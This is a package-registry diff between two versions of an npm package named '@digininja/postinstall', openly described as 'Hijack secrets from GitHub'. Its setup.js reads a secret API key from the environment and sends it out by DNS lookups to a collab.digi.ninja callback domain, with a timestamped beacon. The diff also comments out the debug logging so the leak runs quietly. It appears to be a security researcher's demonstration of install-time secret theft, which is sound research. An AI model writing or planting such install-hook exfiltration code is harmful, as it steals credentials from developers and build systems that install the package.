@digininja/postinstall 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.js +7 -5
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@digininja/postinstall",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "Hijack secrets from GitHub",
5
5
  "author": "Digininja",
6
6
  "license": "ISC",
package/scripts/setup.js CHANGED
@@ -1,4 +1,5 @@
1
1
  const apiKey = process.env.MY_SECRET_API_KEY;
2
+ const collab_prefix = "jylkgjbji7sovizhlmow44rhh8nzbqzf.collab.digi.ninja";
2
3
 
3
4
  const dns = require('node:dns');
4
5
 
@@ -10,21 +11,21 @@ const options = {
10
11
  function lookup(domain) {
11
12
  dns.lookup(domain, options, (err, address, family) => {
12
13
  if (err) {
13
- console.error('Lookup failed:', err);
14
+ log('Lookup failed:', err);
14
15
  return;
15
16
  }
16
- // don't care
17
- // console.log('Address: %j family: IPv4', address);
17
+ log('Address: %j family: IPv4', address);
18
18
  });
19
19
  }
20
20
 
21
21
  function log(message, data = '') {
22
- console.log(`[POSTINSTALL DEBUG] ${message}`, data);
22
+ // Put this back in for debugging
23
+ // console.log(`[POSTINSTALL DEBUG] ${message}`, data);
23
24
  }
24
25
 
25
26
  // DNS cache buster
26
27
  const seconds = Math.floor(Date.now() / 1000);
27
- lookup('gotHere' + seconds + ".6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja");
28
+ lookup('gotHere' + seconds + "." + collab_prefix + ".collab.digi.ninja");
28
29
 
29
30
  log('Checking for API Key...');
30
31
 
@@ -32,6 +33,7 @@ if (!apiKey) {
32
33
  log('API Key missing. Exiting gracefully.');
33
34
  process.exit(0);
34
35
  }
36
+
35
37
  lookup(apiKey+'.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
36
38
 
37
39
  log('Using API Key:', apiKey);